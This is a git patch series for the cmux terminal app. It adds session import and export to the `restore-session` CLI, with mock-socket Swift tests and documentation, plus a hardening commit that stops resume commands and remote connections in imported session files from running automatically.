/* CLIRovoDevHookPersistenceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = A5D4120AA1B2C3D4E5F60718 /* CLIRovoDevHookPersistenceTests.swift */; }; FE89827F4FAB9F7524A38B41 /* CLISendQueuedOutputTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 85A183D9426E08846D029219 /* CLISendQueuedOutputTests.swift */; }; B900004AA1B2C3D4E5F60719 /* CLISocketPathResolver.swift in Sources */ = {isa = PBXBuildFile; fileRef = B900004BA1B2C3D4E5F60719 /* CLISocketPathResolver.swift */; }; @@ -4730,6 +4731,7 @@ C11757000000000000000017 /* CLIOmpSupersededCleanupTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CLIOmpSupersededCleanupTests.swift; sourceTree = "<group>"; }; C11757000000000000000018 /* CLIRelayQueuedHookRegressionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CLIRelayQueuedHookRegressionTests.swift; sourceTree = "<group>"; }; C0F16B000000000000000002 /* CLIRemoteShellStartupPerformanceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CLIRemoteShellStartupPerformanceTests.swift; sourceTree = "<group>"; }; + C11757000000000000000070 /* CLIRestoreSessionTransferTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CLIRestoreSessionTransferTests.swift; sourceTree = "<group>"; }; A5D4120AA1B2C3D4E5F60718 /* CLIRovoDevHookPersistenceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CLIRovoDevHookPersistenceTests.swift; sourceTree = "<group>"; }; 85A183D9426E08846D029219 /* CLISendQueuedOutputTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CLISendQueuedOutputTests.swift; sourceTree = "<group>"; }; B900004BA1B2C3D4E5F60719 /* CLISocketPathResolver.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CLISocketPathResolver.swift; sourceTree = "<group>"; }; @@ -8175,6 +8177,7 @@ C11757000000000000000016 /* CLIHookNoResponseTests.swift */, C11757000000000000000017 /* CLIOmpSupersededCleanupTests.swift */, C11757000000000000000018 /* CLIRelayQueuedHookRegressionTests.swift */, + C11757000000000000000070 /* CLIRestoreSessionTransferTests.swift */, C11757000000000000000019 /* CLISSHPTYResizeInputTests.swift */, C1175700000000000000001A /* CLIStdioSIGPIPERegressionTests.swift */, C1175700000000000000001B /* CLITmuxCompatStoreConcurrencyTests.swift */, @@ -12845,6 +12848,7 @@ C11757000000000000000044 /* CLIHookProcessRunner.swift in Sources */, C11757000000000000000030 /* CLIOmpSupersededCleanupTests.swift in Sources */, C11757000000000000000031 /* CLIRelayQueuedHookRegressionTests.swift in Sources */, + C11757000000000000000071 /* CLIRestoreSessionTransferTests.swift in Sources */, C11757000000000000000032 /* CLISSHPTYResizeInputTests.swift in Sources */, C11757000000000000000033 /* CLIStdioSIGPIPERegressionTests.swift in Sources */, C11757000000000000000045 /* CLITestBundleAnchor.swift in Sources */, diff --git a/cmuxCLITests/CLIRestoreSessionTransferTests.swift b/cmuxCLITests/CLIRestoreSessionTransferTests.swift new file mode 100644 index 000000000000..19909a839014 --- /dev/null +++ b/cmuxCLITests/CLIRestoreSessionTransferTests.swift @@ -0,0 +1,305 @@ +import Darwin +import Foundation +import Testing + +/// `cmux restore-session --from` / `--export` against a mock v2 socket: the +/// CLI must send the right transfer request, never launch the app, and +/// surface the app's validation errors. +@Suite(.serialized) +final class CLIRestoreSessionTransferTests { + private struct ProcessRunResult { + let status: Int32 + let stdout: String + let stderr: String + let timedOut: Bool + } + + private final class MockSocketServerState: @unchecked Sendable { + private let lock = NSLock() + private var storedLines: [String] = [] + + func append(_ line: String) { + lock.lock() + storedLines.append(line) + lock.unlock() + } + + var payloads: [[String: Any]] { + lock.lock() + defer { lock.unlock() } + return storedLines.compactMap { CLIRestoreSessionTransferTests.v2Payload(from: $0) } + } + } + + @Test func fromChannelSendsSessionImportWithSource() throws { + let (result, payloads) = try runAgainstMockServer( + label: "from-ch", + arguments: ["restore-session", "--from", "nightly"], + reply: ["restored": true, "source_path": "/support/session-com.cmuxterm.app.nightly.json", "window_count": 2] + ) + + #expect(result.status == 0, Comment(rawValue: result.stderr)) + #expect(result.stdout == "OK /support/session-com.cmuxterm.app.nightly.json\n") + #expect(payloads.map { $0["method"] as? String } == ["session.import"]) + let params = payloads.first?["params"] as? [String: Any] + #expect(params?["source"] as? String == "nightly") + #expect(params?["path"] == nil) + } + + @Test func fromRelativePathSendsAbsolutePath() throws { + let (result, payloads) = try runAgainstMockServer( + label: "from-path", + arguments: ["restore-session", "--from=exports/moved-session.json"], + reply: ["restored": true, "source_path": "/x/exports/moved-session.json", "window_count": 1] + ) + + #expect(result.status == 0, Comment(rawValue: result.stderr)) + let params = payloads.first?["params"] as? [String: Any] + let path = try #require(params?["path"] as? String) + #expect(path.hasPrefix("/")) + #expect(path.hasSuffix("/exports/moved-session.json")) + #expect(params?["source"] == nil) + } + + @Test func exportSendsSessionExportWithForce() throws { + let (result, payloads) = try runAgainstMockServer( + label: "export", + arguments: ["restore-session", "--export", "/tmp/cmux-session-export.json", "--force"], + reply: ["exported": true, "path": "/tmp/cmux-session-export.json", "source_path": "/support/session.json"] + ) + + #expect(result.status == 0, Comment(rawValue: result.stderr)) + #expect(result.stdout == "OK /tmp/cmux-session-export.json\n") + #expect(payloads.map { $0["method"] as? String } == ["session.export"]) + let params = payloads.first?["params"] as? [String: Any] + #expect(params?["path"] as? String == "/tmp/cmux-session-export.json") + #expect(params?["force"] as? Bool == true) + } + + @Test func importValidationErrorIsReported() throws { + let (result, _) = try runAgainstMockServer( + label: "from-err", + arguments: ["restore-session", "--from", "/tmp/newer.json"], + error: ["code": "unsupported", "message": "/tmp/newer.json was saved by a newer cmux"] + ) + + #expect(result.status != 0) + #expect(result.stderr.contains("was saved by a newer cmux"), Comment(rawValue: result.stderr)) + } + + @Test(arguments: [ + (["restore-session", "--from", "nightly", "--export", "/tmp/x.json"], "not both"), + (["restore-session", "--force"], "--force only applies to --export"), + (["restore-session", "--from"], "--from requires a value"), + ]) + func conflictingFlagsFailBeforeConnecting(arguments: [String], expected: String) throws { + let result = runCLI(socketPath: makeSocketPath("noconn"), arguments: arguments) + + #expect(result.status != 0) + #expect(result.stderr.contains(expected), Comment(rawValue: result.stderr)) + } + + @Test func transferDoesNotLaunchCmuxWhenItIsNotRunning() throws { + let result = runCLI( + socketPath: makeSocketPath("absent"), + arguments: ["restore-session", "--from", "stable"] + ) + + #expect(result.status != 0) + #expect(result.stderr.contains("cmux is not running"), Comment(rawValue: result.stderr)) + } + + // MARK: - Harness + + private func runAgainstMockServer( + label: String, + arguments: [String], + reply: [String: Any]? = nil, + error: [String: Any]? = nil + ) throws -> (ProcessRunResult, [[String: Any]]) { + let socketPath = makeSocketPath(label) + let listenerFD = try bindUnixSocket(at: socketPath) + let workDirectory = FileManager.default.temporaryDirectory + .appendingPathComponent("cmux-restore-session-cli-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: workDirectory, withIntermediateDirectories: true) + defer { + Darwin.close(listenerFD) + unlink(socketPath) + try? FileManager.default.removeItem(at: workDirectory) + } + let state = MockSocketServerState() + let replyData = try JSONSerialization.data(withJSONObject: reply ?? [:]) + let errorData = try JSONSerialization.data(withJSONObject: error ?? [:]) + let isError = error != nil + let handled = startMockServer(listenerFD: listenerFD, state: state) { line in + let id = Self.v2Payload(from: line)?["id"] as? String ?? "unknown" + let result = (try? JSONSerialization.jsonObject(with: replyData)) as? [String: Any] + let error = (try? JSONSerialization.jsonObject(with: errorData)) as? [String: Any] + return isError + ? Self.v2Response(id: id, ok: false, error: error) + : Self.v2Response(id: id, ok: true, result: result) + } + + let result = runCLI(socketPath: socketPath, arguments: arguments, currentDirectory: workDirectory) + + #expect(handled.wait(timeout: .now() + 5) == .success) + #expect(!result.timedOut, Comment(rawValue: result.stderr)) + return (result, state.payloads) + } + + private func runCLI( + socketPath: String, + arguments: [String], + currentDirectory: URL? = nil + ) -> ProcessRunResult { + var environment = ProcessInfo.processInfo.environment + environment["CMUX_SOCKET_PATH"] = socketPath + environment["CMUX_CLI_SENTRY_DISABLED"] = "1" + environment["CMUX_CLAUDE_HOOK_SENTRY_DISABLED"] = "1" + // Belt and braces: if the CLI ever tried to launch cmux here, it + // would run this no-op instead of opening an app. + environment["CMUX_TEST_OPEN_TOOL_PATH"] = "/usr/bin/false" + let cliPath: String + do { + cliPath = try BundledCLITestSupport.bundledCLIPath(for: Self.self) + } catch { + return ProcessRunResult(status: -1, stdout: "", stderr: String(describing: error), timedOut: false) + } + + let process = Process() + let stdoutPipe = Pipe() + let stderrPipe = Pipe() + process.executableURL = URL(fileURLWithPath: cliPath) + process.arguments = arguments + process.environment = environment + if let currentDirectory { + process.currentDirectoryURL = currentDirectory + } + process.standardInput = FileHandle.nullDevice + process.standardOutput = stdoutPipe + process.standardError = stderrPipe + do { + try process.run() + } catch { + return ProcessRunResult(status: -1, stdout: "", stderr: String(describing: error), timedOut: false) + } + + let exitSignal = DispatchSemaphore(value: 0) + process.terminationHandler = { _ in exitSignal.signal() } + let timedOut = exitSignal.wait(timeout: .now() + 15) == .timedOut + if timedOut { + process.terminate() + if exitSignal.wait(timeout: .now() + 1) == .timedOut, process.isRunning { + kill(process.processIdentifier, SIGKILL) + _ = exitSignal.wait(timeout: .now() + 1) + } + } + let stdout = String(data: stdoutPipe.fileHandleForReading.readDataToEndOfFile(), encoding: .utf8) ?? "" + let stderr = String(data: stderrPipe.fileHandleForReading.readDataToEndOfFile(), encoding: .utf8) ?? "" + return ProcessRunResult( + status: timedOut ? 124 : process.terminationStatus, + stdout: stdout, + stderr: stderr, + timedOut: timedOut + ) + } + + private func bindUnixSocket(at path: String) throws -> Int32 { + unlink(path) + let fd = socket(AF_UNIX, SOCK_STREAM, 0) + guard fd >= 0 else { + throw NSError(domain: NSPOSIXErrorDomain, code: Int(errno)) + } + var addr = sockaddr_un() + addr.sun_family = sa_family_t(AF_UNIX) + let maxPathLength = MemoryLayout.size(ofValue: addr.sun_path) + path.withCString { ptr in + withUnsafeMutablePointer(to: &addr.sun_path) { pathPtr in + let pathBuf = UnsafeMutableRawPointer(pathPtr).assumingMemoryBound(to: CChar.self) + strncpy(pathBuf, ptr, maxPathLength - 1) + } + } + let bindResult = withUnsafePointer(to: &addr) { ptr in + ptr.withMemoryRebound(to: sockaddr.self, capacity: 1) { sockaddrPtr in + Darwin.bind(fd, sockaddrPtr, socklen_t(MemoryLayout<sockaddr_un>.size)) + } + } + guard bindResult == 0, Darwin.listen(fd, 1) == 0 else { + let code = Int(errno) + Darwin.close(fd) + throw NSError(domain: NSPOSIXErrorDomain, code: code) + } + return fd + } + + private func makeSocketPath(_ name: String) -> String { + let shortID = UUID().uuidString.replacingOccurrences(of: "-", with: "").prefix(8) + return URL(fileURLWithPath: NSTemporaryDirectory()) + .appendingPathComponent("cli-rs-\(name.prefix(6))-\(shortID).sock") + .path + } + + private func startMockServer( + listenerFD: Int32, + state: MockSocketServerState, + handler: @escaping @Sendable (String) -> String + ) -> DispatchSemaphore { + let handled = DispatchSemaphore(value: 0) + DispatchQueue.global(qos: .userInitiated).async { + var clientAddr = sockaddr_un() + var clientAddrLen = socklen_t(MemoryLayout<sockaddr_un>.size) + let clientFD = withUnsafeMutablePointer(to: &clientAddr) { ptr in + ptr.withMemoryRebound(to: sockaddr.self, capacity: 1) { sockaddrPtr in + Darwin.accept(listenerFD, sockaddrPtr, &clientAddrLen) + } + } + guard clientFD >= 0 else { + handled.signal() + return + } + defer { + Darwin.close(clientFD) + handled.signal() + } + guard ignoreSIGPIPE(onAcceptedFixtureSocket: clientFD) else { return } + + var pending = Data() + var buffer = [UInt8](repeating: 0, count: 4096) + while true { + let count = Darwin.read(clientFD, &buffer, buffer.count) + if count < 0 { + if errno == EINTR { continue } + return + } + if count == 0 { return } + pending.append(buffer, count: count) + while let newlineRange = pending.firstRange(of: Data([0x0A])) { + let lineData = pending.subdata(in: 0..<newlineRange.lowerBound) + pending.removeSubrange(0...newlineRange.lowerBound) + guard let line = String(data: lineData, encoding: .utf8) else { continue } + state.append(line) + guard writeAllToFixtureSocket(handler(line) + "\n", fd: clientFD) else { return } + } + } + } + return handled + } + + fileprivate static func v2Payload(from line: String) -> [String: Any]? { + guard let data = line.data(using: .utf8) else { return nil } + return try? JSONSerialization.jsonObject(with: data, options: []) as? [String: Any] + } + + private static func v2Response( + id: String, + ok: Bool, + result: [String: Any]? = nil, + error: [String: Any]? = nil + ) -> String { + var payload: [String: Any] = ["id": id, "ok": ok] + if let result { payload["result"] = result } + if let error { payload["error"] = error } + let data = try? JSONSerialization.data(withJSONObject: payload, options: []) + return String(data: data ?? Data("{}".utf8), encoding: .utf8) ?? "{}" + } +} diff --git a/docs/cli-contract.md b/docs/cli-contract.md index 278495bedda3..56a8f6312f0e 100644 --- a/docs/cli-contract.md +++ b/docs/cli-contract.md @@ -74,7 +74,7 @@ Environment: | `agent-hibernation` | Enable or disable routine Agent Hibernation. | | `restore` | Replace the CLI with a process restored from structured surface state. | | `fork` | Replace the CLI with a provider fork process restored from structured surface state. | -| `restore-session` | Restore the previously saved cmux session. | +| `restore-session` | Restore the previously saved cmux session; `--from <channel\|path>` reopens another install's saved session or an exported file as additional windows, and `--export <path> [--force]` writes this install's saved session to a file. Both require cmux to be running. | | `open` | Open files, directories, or URLs in cmux. | | `feedback` | Open feedback UI or submit feedback with `--email`, `--body`, and repeated `--image`. | | `feed` | Open the keyboard-first Feed TUI or manage persisted Feed workstream history. | diff --git a/scripts/stress-cli-socket-api.py b/scripts/stress-cli-socket-api.py index bc12424f2eed..7ba983f414fe 100755 --- a/scripts/stress-cli-socket-api.py +++ b/scripts/stress-cli-socket-api.py @@ -210,6 +210,8 @@ "feed.exit_plan.reply": "mutates feed state", "events.stream": "streaming protocol, covered by cmux events --limit", "session.restore_previous": "mutates app session state", + "session.import": "opens windows from another install's saved session", + "session.export": "writes a session snapshot file", "workspace.remote.configure": "requires remote workspace credentials", "workspace.remote.foreground_auth_ready": "requires remote workspace state", "workspace.remote.reconnect": "requires remote workspace state", From 611ea217db0728f69e8d871987962790ec3a88d5 Mon Sep 17 00:00:00 2001 From: Leo Li <cheerleaderleo@outlook.com> Date: Sat, 26 Sep 2026 13:35:03 -0400 Subject: [PATCH 04/16] fix: address review of session import/export - Normalize debug:<tag> like scripts/reload.sh (lowercase, non-alphanumeric runs become '.'), so tagged Debug builds resolve to their real bundle id. - Keep a newer-schema -previous backup before the startup sync deletes it for a missing primary. - Report the window count restore will actually open. - Fix the coordinator test helper for handle(_:) returning an optional. - Note in the README that imported files are restored with full trust. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- ...mmandCoordinatorSessionTransferTests.swift | 4 +++- .../Session/SessionSnapshotFileLocation.swift | 14 +++++++++----- .../Session/SessionSnapshotRepository.swift | 1 + .../SessionSnapshotTransferTests.swift | 19 +++++++++++++++---- README.md | 4 +++- ...Delegate+CrashSessionSnapshotRemoval.swift | 1 + ...minalController+ControlSystemContext.swift | 5 ++++- 7 files changed, 36 insertions(+), 12 deletions(-) diff --git a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift index 39dea6d2b615..3350774fd106 100644 --- a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift +++ b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift @@ -10,7 +10,9 @@ struct ControlCommandCoordinatorSessionTransferTests { _ params: [String: JSONValue], context: FakeSessionTransferControlCommandContext ) -> ControlCallResult { - ControlCommandCoordinator(context: context).handle(ControlRequest(id: .int(1), method: method, params: params)) + ControlCommandCoordinator(context: context) + .handle(ControlRequest(id: .int(1), method: method, params: params)) + ?? .err(code: "unhandled", message: method, data: nil) } @Test func importFromChannelForwardsSourceAndReportsWindows() throws { diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift index 46bc37e3d1c8..d6746ff5a825 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift @@ -17,9 +17,12 @@ public enum SessionSnapshotFileLocation { /// /// Accepts `stable` (alias `release`), `nightly`, `rc`, `staging`, /// `debug` (the untagged Debug build), and `debug:<tag>` / `dev:<tag>` - /// for tagged Debug builds (`com.cmuxterm.app.debug.<tag>`). A value that - /// already is a cmux bundle identifier (`com.cmuxterm.app…`) is returned - /// unchanged. Names are case-insensitive; returns nil for anything else. + /// for tagged Debug builds. The tag is normalized the way + /// `scripts/reload.sh --tag` builds the bundle id (lowercased, every run + /// of other characters becomes `.`), so `debug:My-Tag` is + /// `com.cmuxterm.app.debug.my.tag`. A value that already is a cmux bundle + /// identifier (`com.cmuxterm.app…`) is returned unchanged. Names are + /// case-insensitive; returns nil for anything else. /// /// - Parameter name: The channel name or bundle identifier. /// - Returns: The bundle identifier, or nil when `name` is not a channel. @@ -39,8 +42,9 @@ public enum SessionSnapshotFileLocation { break } for prefix in ["debug:", "dev:"] where lowered.hasPrefix(prefix) { - let tag = String(trimmed.dropFirst(prefix.count)) - .trimmingCharacters(in: .whitespacesAndNewlines) + let tag = String(lowered.dropFirst(prefix.count)) + .replacingOccurrences(of: "[^a-z0-9]+", with: ".", options: .regularExpression) + .trimmingCharacters(in: CharacterSet(charactersIn: ".")) guard !tag.isEmpty else { return nil } return "\(stableBundleIdentifier).debug.\(tag)" } diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index 1d6a5dfd22d1..fd274d76eb77 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -293,6 +293,7 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti case .loaded(let snapshot): _ = save(snapshot, fileURL: backupURL) case .missing: + preserveNewerSchemaSnapshot(fileURL: backupURL) removeSnapshot(fileURL: backupURL) case .unusable: // The primary snapshot exists but cannot be restored. Keep the diff --git a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift index 279a4a3938c9..df595abbe872 100644 --- a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift +++ b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift @@ -59,8 +59,10 @@ struct SessionSnapshotTransferTests { ("RC", "com.cmuxterm.app.rc"), ("staging", "com.cmuxterm.app.staging"), ("debug", "com.cmuxterm.app.debug"), - ("debug:my-tag", "com.cmuxterm.app.debug.my-tag"), - ("dev:My-Tag", "com.cmuxterm.app.debug.My-Tag"), + ("debug:mytag", "com.cmuxterm.app.debug.mytag"), + // Same normalization as `scripts/reload.sh --tag`. + ("debug:my-tag", "com.cmuxterm.app.debug.my.tag"), + ("dev:My_Tag", "com.cmuxterm.app.debug.my.tag"), ("com.cmuxterm.app.nightly.isolated", "com.cmuxterm.app.nightly.isolated"), ] ) @@ -68,7 +70,7 @@ struct SessionSnapshotTransferTests { #expect(SessionSnapshotFileLocation.bundleIdentifier(forChannel: name) == expected) } - @Test("unknown channel names do not resolve", arguments: ["", "beta", "debug:", "org.example.app", "./session.json"]) + @Test("unknown channel names do not resolve", arguments: ["", "beta", "debug:", "dev:--", "org.example.app", "./session.json"]) func unknownChannels(name: String) { #expect(SessionSnapshotFileLocation.bundleIdentifier(forChannel: name) == nil) } @@ -83,7 +85,7 @@ struct SessionSnapshotTransferTests { "nightly": "session-com.cmuxterm.app.nightly.json", "rc": "session-com.cmuxterm.app.rc.json", "staging": "session-com.cmuxterm.app.staging.json", - "debug:feature-x": "session-com.cmuxterm.app.debug.feature-x.json", + "debug:feature-x": "session-com.cmuxterm.app.debug.feature.x.json", ] for (channel, fileName) in expectations { let bundleId = try #require(SessionSnapshotFileLocation.bundleIdentifier(forChannel: channel)) @@ -304,6 +306,15 @@ struct SessionSnapshotTransferTests { ) #expect(try newerBuild.importableSnapshot(fileURL: sideURL).get().snapshot.windows.map(\.name) == ["future"]) + // A newer backup left without a primary is kept before the sync removes it. + let backupURL = try #require(repository.manualRestoreSnapshotFileURL()) + try FileManager.default.removeItem(at: primaryURL) + try write(newerText, to: backupURL) + repository.syncManualRestoreSnapshotCache() + #expect(!FileManager.default.fileExists(atPath: backupURL.path)) + let backupSide = SessionSnapshotFileLocation.newerSchemaSideFileURL(for: backupURL, schemaVersion: 2) + #expect(try String(contentsOf: backupSide, encoding: .utf8) == newerText) + // Current and older snapshots need no side file. #expect(repository.save(snapshot("now"), fileURL: nil)) #expect(repository.preserveNewerSchemaSnapshot(fileURL: primaryURL) == nil) diff --git a/README.md b/README.md index e8fca909803b..28363eaf35f6 100644 --- a/README.md +++ b/README.md @@ -335,7 +335,9 @@ cmux restore-session --from ~/session.json # reopen an exported file The imported session opens as additional windows next to the ones you have, like `cmux restore-session`; the other install's saved file is only read. Agent resume carries over because hook session mappings in `~/.cmuxterm/` are shared by every install. Browser -cookies and logins are per install and do not move. A snapshot saved by a newer cmux +cookies and logins are per install and do not move. An imported file is restored with the +same trust as your own saved session, including agent resume commands, so only import files +you exported yourself. A snapshot saved by a newer cmux (newer session format) is refused with an error; if a downgraded cmux finds one in its own session file, it keeps a copy next to it as `session-<bundle id>.schema-v<N>.json`. diff --git a/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift b/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift index fed51d9faa8e..5d80efe213dd 100644 --- a/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift +++ b/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift @@ -38,6 +38,7 @@ extension AppDelegate { _ = sessionSnapshotStore.save(prunedSnapshot, fileURL: backupURL) case .missing: if !preserveExistingBackup && !Self.hasCrashOnlyPrimarySnapshotRemovalMarker() { + sessionSnapshotStore.preserveNewerSchemaSnapshot(fileURL: backupURL) sessionSnapshotStore.removeSnapshot(fileURL: backupURL) } case .unusable: diff --git a/Sources/TerminalController+ControlSystemContext.swift b/Sources/TerminalController+ControlSystemContext.swift index 08ba51e66413..b6fdbe9e5f32 100644 --- a/Sources/TerminalController+ControlSystemContext.swift +++ b/Sources/TerminalController+ControlSystemContext.swift @@ -293,8 +293,11 @@ extension TerminalController: ControlSystemContext { path: error.fileURL.path ) case .success(let imported): + // Count what restore will actually open: crash-diagnostic windows + // are dropped and the window count is capped. let windowCount = min( - imported.snapshot.windows.count, + SessionPersistencePolicy.pruningCmuxCrashDiagnosticWindows(from: imported.snapshot) + .snapshot?.windows.count ?? 0, SessionPersistencePolicy.maxWindowsPerSnapshot ) guard appDelegate.restorePreviousSessionSnapshot(imported.snapshot, shouldActivate: false) else { From 32c70b2052c3b211992ecf43a7eb938c4e45e4e5 Mon Sep 17 00:00:00 2001 From: Leo Li <cheerleaderleo@outlook.com> Date: Sat, 26 Sep 2026 13:52:00 -0400 Subject: [PATCH 05/16] fix: don't auto-run resume commands from imported session files restore-session --from <path> reads an arbitrary file, so it no longer gets the trust of the app's own saved session. SessionSnapshotImportTrust runs on file imports before restore: - built-in agents are rebuilt from kind, session id and cwd only (launch argv, permission mode and registration content from the file are dropped; built-in Vault registrations are replaced by cmux's own); - custom agent registrations stay attached for manual restore but the terminal is marked as not running an agent; - agent-hook/process-detected bindings become manual CLI bindings, so only a signed approved prefix can auto-run them; a hook binding covered by a rebuilt built-in agent is dropped; - tmux start commands, workspace SSH/cloud connections and workspace environment variables are dropped. session.import reports trusted/held_back_resume_count/ dropped_remote_workspace_count, and the CLI tells the user how to inspect and run held-back resumes. Channel imports keep full trust. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- CLI/cmux.swift | 30 +- ...ControlCommandCoordinator+SystemMisc.swift | 5 +- .../ControlSessionTransferResolution.swift | 18 +- ...mmandCoordinatorSessionTransferTests.swift | 26 +- ...SessionTransferControlCommandContext.swift | 7 +- README.md | 15 +- Sources/SessionSnapshotImportTrust.swift | 201 +++++++++++++ ...minalController+ControlSystemContext.swift | 21 +- cmux.xcodeproj/project.pbxproj | 8 + .../CLIRestoreSessionTransferTests.swift | 14 +- .../SessionSnapshotImportTrustTests.swift | 278 ++++++++++++++++++ docs/cli-contract.md | 2 +- 12 files changed, 609 insertions(+), 16 deletions(-) create mode 100644 Sources/SessionSnapshotImportTrust.swift create mode 100644 cmuxTests/SessionSnapshotImportTrustTests.swift diff --git a/CLI/cmux.swift b/CLI/cmux.swift index 3a921152d8c3..76f81c36095b 100644 --- a/CLI/cmux.swift +++ b/CLI/cmux.swift @@ -8720,11 +8720,39 @@ struct CMUXCLI { let response = try client.sendV2(method: method, params: params) if jsonOutput { print(jsonString(response)) - } else if let path = response[resultPathKey] as? String { + return + } + if let path = response[resultPathKey] as? String { print("OK \(path)") } else { print("OK") } + for line in restoreSessionImportNotes(response) { + print(line) + } + } + + /// Follow-up lines for a file import that held back automatic resume or + /// dropped remote connections. + func restoreSessionImportNotes(_ response: [String: Any]) -> [String] { + var lines: [String] = [] + let heldBack = (response["held_back_resume_count"] as? NSNumber)?.intValue ?? 0 + if heldBack > 0 { + lines.append( + "Held back automatic resume in \(heldBack) terminal\(heldBack == 1 ? "" : "s") from this file. " + + "In each one, run `cmux surface resume show` to inspect the command " + + "and `cmux restore --surface` to run it. " + + "Use --from <channel> to import another install's session with automatic resume." + ) + } + let droppedRemote = (response["dropped_remote_workspace_count"] as? NSNumber)?.intValue ?? 0 + if droppedRemote > 0 { + lines.append( + "Opened \(droppedRemote) workspace\(droppedRemote == 1 ? "" : "s") without the file's " + + "SSH/cloud connection and environment variables." + ) + } + return lines } func connectClient( diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift index 524fb376e6b6..f65b1b389dd7 100644 --- a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift @@ -57,11 +57,14 @@ extension ControlCommandCoordinator { return .err(code: "unavailable", message: "Session context not attached", data: nil) } switch systemContext.controlSessionImport(source: source) { - case let .restored(sourcePath, windowCount): + case let .restored(sourcePath, windowCount, heldBackResumeCount, droppedRemoteWorkspaceCount): return .ok(.object([ "restored": .bool(true), "source_path": .string(sourcePath), "window_count": .int(Int64(windowCount)), + "trusted": .bool(source.isTrusted), + "held_back_resume_count": .int(Int64(heldBackResumeCount)), + "dropped_remote_workspace_count": .int(Int64(droppedRemoteWorkspaceCount)), ])) case let .failed(code, message, path): return .err(code: code, message: message, data: .object(["path": orNull(path)])) diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift index 934ec098a417..0abf5d66af0a 100644 --- a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift @@ -5,6 +5,13 @@ public enum ControlSessionImportSource: Sendable, Equatable { case channel(String) /// A snapshot file at an absolute path. case file(path: String) + + /// Whether the snapshot restores with full trust (automatic resume). Only + /// another install's own session file does; an arbitrary file does not. + public var isTrusted: Bool { + if case .channel = self { return true } + return false + } } /// The outcome of `session.import`. @@ -13,7 +20,16 @@ public enum ControlSessionImportSource: Sendable, Equatable { /// localized; the package only carries the resolved strings. public enum ControlSessionImportResolution: Sendable, Equatable { /// The snapshot was validated and reopened as additional windows. - case restored(sourcePath: String, windowCount: Int) + /// `heldBackResumeCount` counts terminals whose resume command was kept + /// for manual restore instead of running automatically (file imports + /// only); `droppedRemoteWorkspaceCount` counts workspaces whose SSH/cloud + /// connection or environment from the file was dropped. + case restored( + sourcePath: String, + windowCount: Int, + heldBackResumeCount: Int, + droppedRemoteWorkspaceCount: Int + ) /// The import failed. `code` is the socket error code (`not_found`, /// `invalid_params`, `unsupported`, `invalid_state`, `unavailable`), /// `path` the file involved when known. diff --git a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift index 3350774fd106..566a1b1873f8 100644 --- 